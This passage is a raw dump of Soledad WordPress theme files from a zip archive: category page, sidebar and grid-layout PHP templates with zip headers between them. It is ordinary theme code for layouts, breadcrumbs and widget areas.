					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list',
					'classic-boxed-1',
					'magazine-1',
					'magazine-2',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'grid-boxed-4',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3'
				);
				$cols_attrs     = '';
				$extra_class    = '';
				if ( in_array( $layout_this, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3','grid-boxed-4', 'grid', 'masonry' ] ) ) {
					if ( $grid_col ) {
						$cols_attrs  .= ' data-cols="' . $grid_col . '"';
						$extra_class .= 'has-d-cols ';
					}
					if ( $grid_mcol ) {
						$cols_attrs  .= ' data-mcols="' . $grid_mcol . '"';
						$extra_class .= 'has-m-cols ';
					}
				}
				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '<ul' . $cols_attrs . ' data-layout="' . esc_attr( $layout_this ) . '" class="' . $extra_class . 'penci-wrapper-data penci-grid">';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '<div class="penci-wrap-masonry"><div' . $cols_attrs . ' class="penci-wrapper-data masonry penci-masonry">';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '<div class="penci-wrapper-data">';
				}

				$cimg_size = 'normal';

				if ( in_array( $layout_this, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3' ] ) ) {
					$layout_this = 'grid';
				} elseif ( in_array( $layout_this, [ 'list-boxed', 'list-boxed-2' ] ) ) {
					$layout_this = 'list';
					$cimg_size   = 'masonry';
				}

				$infeed_ads  = get_theme_mod( 'penci_infeedads_archi_code' ) ? get_theme_mod( 'penci_infeedads_archi_code' ) : '';
				$infeed_num  = get_theme_mod( 'penci_infeedads_archi_num' ) ? get_theme_mod( 'penci_infeedads_archi_num' ) : 3;
				$infeed_full = get_theme_mod( 'penci_infeedads_archi_layout' ) ? get_theme_mod( 'penci_infeedads_archi_layout' ) : '';
				while ( have_posts() ) : the_post();
					include( locate_template( 'content-' . $layout_this . '.php' ) );
				endwhile;

				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '</ul>';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '</div></div>';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '</div>';
				}

				penci_soledad_archive_pag_style( $layout_this );
				?>
			<?php endif;
			wp_reset_postdata(); /* End if of the loop */ ?>

			<?php if ( get_theme_mod( 'penci_archive_move_desc' ) ) {
				the_archive_description( $archive_des_open, '</div>' );
			} ?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_below' ); ?>

			<?php do_action( 'penci_archive_after_posts' ); ?>

        </div>
    </div>
	<?php if ( penci_get_setting( 'penci_sidebar_archive' ) ) : ?>
		<?php get_sidebar(); ?>
		<?php if ( get_theme_mod( 'penci_two_sidebar_archive' ) ) : get_sidebar( 'left' ); endif; ?>
	<?php endif; ?>
</div>
<?php get_footer(); ?>
PK     N\vC  vC    category.phpnu [        <?php
/**
 * This template will display category page
 *
 * @package Wordpress
 * @since 1.0
 */

get_header();

/* Sidebar position */
$sidebar_position = penci_get_sidebar_position_archive();
$ccolor           = '';
$category_oj      = get_queried_object();
$fea_cat_id       = $category_oj->term_id;
$cat_meta         = get_option( "category_$fea_cat_id" );
$ccount 		  = (int) $category_oj->count;
$ccount_html 	  = $ccount && get_theme_mod( 'penci_archive_show_cat_count' ) ? '<span class="pccat-count">' . $ccount . '</span>' : '';
$magazine_layout  = isset( $cat_meta['cat_magazine'] ) && $cat_meta['cat_magazine'] ? $cat_meta['cat_magazine'] : '';
$categories_child = get_categories(
    array( 
		'parent' => $fea_cat_id
	)
);

$is_category_magazine = $magazine_layout && $categories_child;

if ( isset( $cat_meta['penci_archivepage_color'] ) && $cat_meta['penci_archivepage_color'] ) {
	$ccolor = 'color:' . $cat_meta['penci_archivepage_color'] . ';';
}
$sidebar_opts = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';

if ( $sidebar_opts == 'left' ) {
	$sidebar_position = 'left-sidebar';
} elseif ( $sidebar_opts == 'right' ) {
	$sidebar_position = 'right-sidebar';
} elseif ( $sidebar_opts == 'two' ) {
	$sidebar_position = 'two-sidebar';
}

$show_sidebar = false;
if ( ( penci_get_setting( 'penci_sidebar_archive' ) && $sidebar_opts != 'no' ) || $sidebar_opts == 'left' || $sidebar_opts == 'right' || $sidebar_opts == 'two' ) {
	$show_sidebar = true;
} else {
	/* Use $template to detect sidebar for category - use this value for load correct sidebar in content templates */
	$template = 'no-sidebar';
}

$archive_desc_align = get_theme_mod( 'penci_archive_descalign', '' );
if ( $archive_desc_align ) {
	$archive_desc_align = ' pcdesc-' . $archive_desc_align;
}
$title_acls = 'pcatitle-' . get_theme_mod( 'penci_archive_titlealign', 'default' );
/* Categories layout */
$layout_this = get_theme_mod( 'penci_archive_layout' );
$grid_col    = get_theme_mod( 'penci_archive_grid_col' );
$grid_mcol   = get_theme_mod( 'penci_archive_grid_mcol' );
if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;

$category_oj = get_queried_object();
$fea_cat_id  = $category_oj->term_id;
$cat_meta    = get_option( "category_$fea_cat_id" );
$cat_layout  = isset( $cat_meta['cat_layout'] ) ? $cat_meta['cat_layout'] : '';
if ( $cat_layout != '' ):
	$layout_this = $cat_layout;
endif;

$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;
$two_sidebar_class = '';
if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
?>

<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
	<?php
	$yoast_breadcrumb = $rm_breadcrumb = '';
	if ( function_exists( 'yoast_breadcrumb' ) ) {
		$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb' . $two_sidebar_class . '">', '</div>', false );
	}

	if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
		$rm_breadcrumb = rank_math_get_breadcrumbs( [
			'wrap_before' => '<div class="container penci-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
			'wrap_after'  => '</nav></div>',
		] );
	}

	if ( $rm_breadcrumb ) {
		echo $rm_breadcrumb;
	} elseif ( $yoast_breadcrumb ) {
		echo $yoast_breadcrumb;
	} else { ?>
        <div class="container penci-breadcrumb<?php echo $two_sidebar_class; ?>">
            <span><a class="crumb"
                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
			<?php
			$parent_ID = penci_get_category_parent_id( $fea_cat_id );
			if ( $parent_ID ):
				echo penci_get_category_parents( $parent_ID );
			endif;
			?>
            <span><?php single_cat_title( '', true ); ?></span>
        </div>
	<?php } ?>
<?php endif; ?>

<?php if ( penci_featured_exclude_posts() ): ?>

    <div class="archive-box container<?php if ( penci_is_show_archive_filter() ): ?> pc-has-sorter<?php endif; ?>">
        <div class="title-bar <?php echo $title_acls; ?>">
			<?php if ( ! get_theme_mod( 'penci_remove_cat_words' ) ): ?>
                <span><?php echo penci_get_setting( 'penci_trans_category' ); ?></span>
			<?php endif; ?>
            	<h1 style="<?php echo $ccolor; ?>"><?php printf( esc_html__( '%s', 'soledad' ), single_cat_title( '', false ) ); ?></h1>
				<?php echo $ccount_html; ?>
			<?php do_action( 'penci_archive_follow_button' ); ?>
        </div>
		<?php get_template_part( 'template-parts/archive-sorter' ); ?>
    </div>


	<?php if ( category_description() && ! get_theme_mod( 'penci_archive_move_desc' ) && ! get_theme_mod( 'penci_archive_hide_desc' ) ) : // Show an optional category description ?>
        <div class="container <?php echo $two_sidebar_class; ?>">
            <div class="post-entry penci-category-description<?php echo $archive_desc_align; ?>">
                <div class="penci-category-description-inner">
					<?php echo do_shortcode( category_description() ); ?>
                </div>
				<?php if ( ! get_theme_mod( 'penci_archive_disable_desc_collapse', true ) ): ?>
                    <div class="penci-category-description-button">
                        <a href="#" title="<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>"
                           aria-label="<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
				<?php endif; ?>
            </div>
        </div>
	<?php endif; ?>

<?php endif; ?>

<?php do_action( 'penci_featured_archive_posts' ); ?>

<div class="container<?php echo esc_attr( $class_layout );
if ( $show_sidebar ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?>">
    <div id="main"
         class="penci-layout-<?php echo esc_attr( $layout_this ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php do_action( 'penci_archive_before_posts' ); ?>

			<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
				<?php
				$yoast_breadcrumb = $rm_breadcrumb = '';
				if ( function_exists( 'yoast_breadcrumb' ) ) {
					$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
				}

				if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
					$rm_breadcrumb = rank_math_get_breadcrumbs( [
						'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
						'wrap_after'  => '</nav></div>',
					] );
				}

				if ( $rm_breadcrumb ) {
					echo $rm_breadcrumb;
				} elseif ( $yoast_breadcrumb ) {
					echo $yoast_breadcrumb;
				} else { ?>
                    <div class="container penci-breadcrumb penci-crumb-inside<?php echo $two_sidebar_class; ?>">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
						<?php
						$parent_ID = penci_get_category_parent_id( $fea_cat_id );
						if ( $parent_ID ):
							echo penci_get_category_parents( $parent_ID );
						endif;
						?>
                        <span><?php single_cat_title( '', true ); ?></span>
                    </div>
				<?php } ?>
			<?php endif; ?>

			<?php if ( ! penci_featured_exclude_posts() ) {
				?>

                <div class="archive-box<?php if ( penci_is_show_archive_filter() ): ?> pc-has-sorter container<?php endif; ?>">
                    <div class="title-bar <?php echo $title_acls; ?>">
						<?php if ( ! get_theme_mod( 'penci_remove_cat_words' ) ): ?>
                            <span><?php echo penci_get_setting( 'penci_trans_category' ); ?></span> <?php endif; ?>
                        <h1 style="<?php echo $ccolor; ?>"><?php printf( esc_html__( '%s', 'soledad' ), single_cat_title( '', false ) ); ?></h1>
						<?php echo $ccount_html; ?>
						<?php do_action( 'penci_archive_follow_button' ); ?>
                    </div>
					<?php if ( ! $is_category_magazine ):
						get_template_part( 'template-parts/archive-sorter' );
					endif; ?>
                </div>

				<?php if ( category_description() && ! get_theme_mod( 'penci_archive_move_desc' ) && ! get_theme_mod( 'penci_archive_hide_desc' ) ) : // Show an optional category description ?>
                    <div class="post-entry penci-category-description<?php echo $archive_desc_align; ?>">
                        <div class="penci-category-description-inner">
							<?php echo do_shortcode( category_description() ); ?>
                        </div>
						<?php if ( ! get_theme_mod( 'penci_archive_disable_desc_collapse', true ) ): ?>
                            <div class="penci-category-description-button">
                                <a href="#" title="<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>"
                                   aria-label="<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                            </div>
						<?php endif; ?>
                    </div>
				<?php endif; ?>

			<?php } else {

				$format_title = penci_get_setting( 'penci_arf_title' );
				if ( $format_title && ! penci_featured_title_check() ) {
					$heading_widget_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
					$heading_widget_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
					$heading_title        = get_theme_mod( 'penci_featured_cat_style' ) ? get_theme_mod( 'penci_featured_cat_style' ) : $heading_widget_title;
					$heading_align        = get_theme_mod( 'penci_featured_cat_align' ) ? get_theme_mod( 'penci_featured_cat_align' ) : $heading_widget_align;
					$sb_icon_pos          = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
					$sidebar_icon_pos     = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
					$sb_icon_design       = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
					$sidebar_icon_design  = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;
					$heading_title        = get_theme_mod( 'penci_arf_title_style', $heading_title );
					?>
                    <div class="featured-list-title penci-border-arrow penci-homepage-title penci-magazine-title <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?>">
                        <h2 class="inner-arrow">
							<span><span>
							<?php
							echo str_replace( '{name}', single_cat_title( '', false ), $format_title );
							?>
							</span></span>
                        </h2>
                    </div>

				<?php }
			}

			do_action( 'penci_sub_cat_list' );
			?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_above' ); ?>

			<?php 
			
			if ( $is_category_magazine ):
				get_template_part( 'inc/modules/featured', 'categories', [ 'featured_cat_child' => $categories_child ] );

				$heading_widget_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
				$heading_widget_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
				$heading_title        = get_theme_mod( 'penci_featured_cat_style' ) ? get_theme_mod( 'penci_featured_cat_style' ) : $heading_widget_title;
				$heading_align        = get_theme_mod( 'penci_heading_latest_align' ) ? get_theme_mod( 'penci_heading_latest_align' ) : $heading_widget_align;
				$sb_icon_pos          = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
				$sidebar_icon_pos     = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
				$sb_icon_design       = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
				$sidebar_icon_design  = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;
				?>
                    <div class="penci-border-arrow penci-homepage-title penci-home-latest-posts <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?>">
                        <h3 class="inner-arrow">
							<span><span><?php echo penci_get_setting( 'penci_trans_recent' ); ?></span></span>
						</h3>
                    </div>
				<?php
			
			endif;

			if ( have_posts() ) :
				$class_grid_arr = array(
					'mixed',
					'mixed-2',
					'mixed-3',
					'mixed-4',
					'small-list',
					'overlay-grid',
					'overlay-list',
					'photography',
					'grid',
					'grid-2',
					'list',
					'boxed-1',
					'boxed-2',
					'boxed-3',
					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list',
					'classic-boxed-1',
					'magazine-1',
					'magazine-2',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'grid-boxed-4',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3',
				);
				$cols_attrs     = '';
				$extra_class    = '';
				if ( in_array( $layout_this, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3', 'grid-boxed-4', 'grid', 'masonry' ] ) ) {
					if ( $grid_col ) {
						$cols_attrs  .= ' data-cols="' . $grid_col . '"';
						$extra_class .= 'has-d-cols ';
					}
					if ( $grid_mcol ) {
						$cols_attrs  .= ' data-mcols="' . $grid_mcol . '"';
						$extra_class .= 'has-m-cols ';
					}
				}
				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '<ul' . $cols_attrs . ' data-layout="' . esc_attr( $layout_this ) . '" class="' . $extra_class . 'penci-wrapper-data penci-grid">';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '<div class="penci-wrap-masonry"><div' . $cols_attrs . ' class="penci-wrapper-data masonry penci-masonry">';
				} elseif ( 'timeline' == $layout_this ) {
					wp_enqueue_style( 'penci-timeline' );
					echo '<div class="penci-tiline penci-tiline-posts penci-tiline-archive penci-tiline-center"><div class="penci-wrapper-data penci-tiline-grid penci-tiline-align-center">';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '<div class="penci-wrapper-data">';
				}

				$cimg_size = 'normal';

				if ( in_array( $layout_this, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3' ] ) ) {
					$layout_this = 'grid';
				} elseif ( in_array( $layout_this, [ 'list-boxed', 'list-boxed-2' ] ) ) {
					$layout_this = 'list';
					$cimg_size   = 'masonry';
				}

				/* The loop */
				$infeed_ads  = get_theme_mod( 'penci_infeedads_archi_code' ) ? get_theme_mod( 'penci_infeedads_archi_code' ) : '';
				$infeed_num  = get_theme_mod( 'penci_infeedads_archi_num' ) ? get_theme_mod( 'penci_infeedads_archi_num' ) : 3;
				$infeed_full = get_theme_mod( 'penci_infeedads_archi_layout' ) ? get_theme_mod( 'penci_infeedads_archi_layout' ) : '';
				while ( have_posts() ) : the_post();
					include( locate_template( 'content-' . $layout_this . '.php' ) );
				endwhile;

				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '</ul>';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2', 'timeline' ) ) ) {
					echo '</div></div>';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '</div>';
				}
				penci_soledad_archive_pag_style( $layout_this );
				?>
			<?php endif;
			wp_reset_postdata(); 
			/* End if of the loop */ ?>

			<?php if ( category_description() && get_theme_mod( 'penci_archive_move_desc' ) && ! get_theme_mod( 'penci_archive_hide_desc' ) ) : // Show an optional category description ?>
                <div class="post-entry penci-category-description penci-acdes-below<?php echo $archive_desc_align; ?>"><?php echo do_shortcode( category_description() ); ?></div>
			<?php endif; ?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_below' ); ?>

			<?php do_action( 'penci_archive_after_posts' ); ?>

        </div>
    </div>

	<?php
	if ( $show_sidebar ) {
		get_sidebar();

		$category_layout_sidebar = get_theme_mod( 'penci_two_sidebar_archive' );
		if ( $sidebar_opts ) {
			$category_layout_sidebar = $sidebar_opts;
		}

		if ( 'two' == $category_layout_sidebar ) {
			get_sidebar( 'left' );
		}
	}
	?>
</div>
<?php get_footer(); ?>
PK     N\      sidebar.phpnu [        <?php
/**
 * Main sidebar of Soledad theme
 * Display all widgets on right sidebar
 *
 * @package Wordpress
 * @since   1.0
 */
$heading_title       = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
$heading_align       = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
$sidebar_style       = get_theme_mod( 'penci_sidebar_style' ) ? get_theme_mod( 'penci_sidebar_style' ) : '';
$sidebar_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
$sidebar_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

$sidebar_portfolio = get_theme_mod( 'penci_sidebar_single_portfolio' );
if ( ! isset( $sidebar_portfolio ) || empty( $sidebar_portfolio ) ): $sidebar_portfolio = 'main-sidebar'; endif;

$sidebar_home = get_theme_mod( 'penci_sidebar_name_home' );
if ( ! isset( $sidebar_home ) || empty( $sidebar_home ) ): $sidebar_home = 'main-sidebar'; endif;

$sidebar_category = get_theme_mod( 'penci_sidebar_name_category' );
if ( ! isset( $sidebar_category ) || empty( $sidebar_category ) ): $sidebar_category = 'main-sidebar'; endif;

$sidebar_single = get_theme_mod( 'penci_sidebar_name_single' );
if ( ! isset( $sidebar_single ) || empty( $sidebar_single ) ): $sidebar_single = 'main-sidebar'; endif;

$sidebar_pages = get_theme_mod( 'penci_sidebar_name_pages' );
if ( ! isset( $sidebar_pages ) || empty( $sidebar_pages ) ): $sidebar_pages = 'main-sidebar'; endif;


if ( is_home() || is_front_page() ) {
	$show_on_front = get_option( 'show_on_front' );
	if ( 'page' == $show_on_front ) {
		$custom_sidebar_pages = get_post_meta( get_the_ID(), 'penci_custom_sidebar_page_display', true );
		if ( $custom_sidebar_pages ): $sidebar_pages = $custom_sidebar_pages; endif;
	}
} elseif ( is_page() ) {
	$custom_sidebar_pages = get_post_meta( get_the_ID(), 'penci_custom_sidebar_page_display', true );
	if ( $custom_sidebar_pages ): $sidebar_pages = $custom_sidebar_pages; endif;
} elseif ( is_single() ) {
	$custom_sidebar_post = get_post_meta( get_the_ID(), 'penci_custom_sidebar_page_display', true );
	if ( $custom_sidebar_post ): $sidebar_single = $custom_sidebar_post; endif;

	$priid = penci_get_post_pri_cat();
	if ( $priid ) {
		$cat_options = get_option( "category_$priid" );
		$override = isset( $cat_options['cat_sidebar_single'] ) ? $cat_options['cat_sidebar_single'] : '';
		if ( $override ) {
			$cat_sidebar = isset( $cat_options['cat_sidebar'] ) ? $cat_options['cat_sidebar'] : '';
			if ( $cat_sidebar ): $sidebar_single = $cat_sidebar; endif;
		}
	}

} elseif ( is_category() ) {
	$category_oj = get_queried_object();
	$fea_cat_id  = $category_oj->term_id;
	$cat_meta    = get_option( "category_$fea_cat_id" );
	$cat_sidebar = isset( $cat_meta['cat_sidebar'] ) ? $cat_meta['cat_sidebar'] : '';
	if ( $cat_sidebar ): $sidebar_category = $cat_sidebar; endif;
}
$product_sidebar = 'penci-shop-single';
if ( function_exists( 'penci_get_single_product_meta' ) ) {
	$product_sidebar = penci_get_single_product_meta( get_the_ID(), 'product_sidebar', 'sidebar_area', $product_sidebar );
}
?>

<div id="sidebar"
     class="penci-sidebar-right penci-sidebar-content <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_style . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): echo ' penci-sticky-sidebar'; endif; ?>">
    <div class="theiaStickySidebar">
		<?php /* Display sidebar */
		if ( ! wp_is_mobile() && is_singular( 'portfolio' ) && function_exists( 'portfolio_meta_content' ) && isset( $GLOBALS['right-sidebar'] ) ) {
			portfolio_meta_content( $GLOBALS['share_style'], ! $GLOBALS['share_box'] );
		}
		if ( is_singular( 'portfolio' ) && is_active_sidebar( $sidebar_portfolio ) ) {
			dynamic_sidebar( $sidebar_portfolio );
		} else if ( function_exists( 'is_shop' ) && function_exists( 'is_product_category' ) && function_exists( 'is_product_tag' ) && function_exists( 'is_product' ) ) {
			if ( ( is_shop() || is_product_category() || is_product_tag() ) && is_active_sidebar( 'penci-shop-sidebar' ) ) {
				dynamic_sidebar( 'penci-shop-sidebar' );
			} else if ( is_product() && is_active_sidebar( $product_sidebar ) ) {
				dynamic_sidebar( $product_sidebar );
			} else {
				if ( ( is_home() || is_front_page() ) ) {
					$show_on_front = get_option( 'show_on_front' );
					if ( 'page' == $show_on_front && is_active_sidebar( $sidebar_pages ) ) {
						dynamic_sidebar( $sidebar_pages );
					} elseif ( is_active_sidebar( $sidebar_home ) ) {
						dynamic_sidebar( $sidebar_home );
					}
				} else if ( is_category() && is_active_sidebar( $sidebar_category ) ) {
					dynamic_sidebar( $sidebar_category );
				} else if ( is_single() && is_active_sidebar( $sidebar_single ) ) {
					dynamic_sidebar( $sidebar_single );
				} else if ( is_page() && is_active_sidebar( $sidebar_pages ) ) {
					dynamic_sidebar( $sidebar_pages );
				} else {
					dynamic_sidebar( 'main-sidebar' );
				}
			}
		} else if ( ( is_home() || is_front_page() ) ) {
			$show_on_front = get_option( 'show_on_front' );
			if ( 'page' == $show_on_front && is_active_sidebar( $sidebar_pages ) ) {
				dynamic_sidebar( $sidebar_pages );
			} elseif ( is_active_sidebar( $sidebar_home ) ) {
				dynamic_sidebar( $sidebar_home );
			}
		} else if ( is_category() && is_active_sidebar( $sidebar_category ) ) {
			dynamic_sidebar( $sidebar_category );
		} else if ( is_single() && is_active_sidebar( $sidebar_single ) ) {
			dynamic_sidebar( $sidebar_single );
		} else if ( is_page() && is_active_sidebar( $sidebar_pages ) ) {
			dynamic_sidebar( $sidebar_pages );
		} else {
			dynamic_sidebar( 'main-sidebar' );
		}
		?>
    </div>
</div>
PK     N\kؒ!  !    content-grid-2.phpnu [        <?php
/**
 * Template loop for gird 2 style
 */
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<li class="grid-style grid-2-style<?php if ( get_theme_mod( 'penci_grid_meta_overlay' ) ): echo ' grid-overlay-meta'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"<?php if ( ! get_theme_mod('penci_grid_slider_auto') ) {?> data-auto="true"<?php }?>>
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">
									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>


                                        <figure <?php echo penci_layout_bg($the_image[0]);?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder"<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
	                                        <?php echo penci_layout_img($the_image[0],$the_caption);?>
                                        </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
					<?php do_action( 'penci_bookmark_post' ); ?>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

                    <a <?php echo penci_layout_bg(penci_image_srcset( get_the_ID(), penci_featured_images_size() ));?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	                    <?php echo penci_layout_img(penci_image_srcset( get_the_ID(), penci_featured_images_size() ),get_the_title());?>
                    </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
			<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                <span class="cat"><?php penci_category( '' ); ?></span>
			<?php endif; ?>

            <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                        href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php penci_soledad_meta_schema(); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
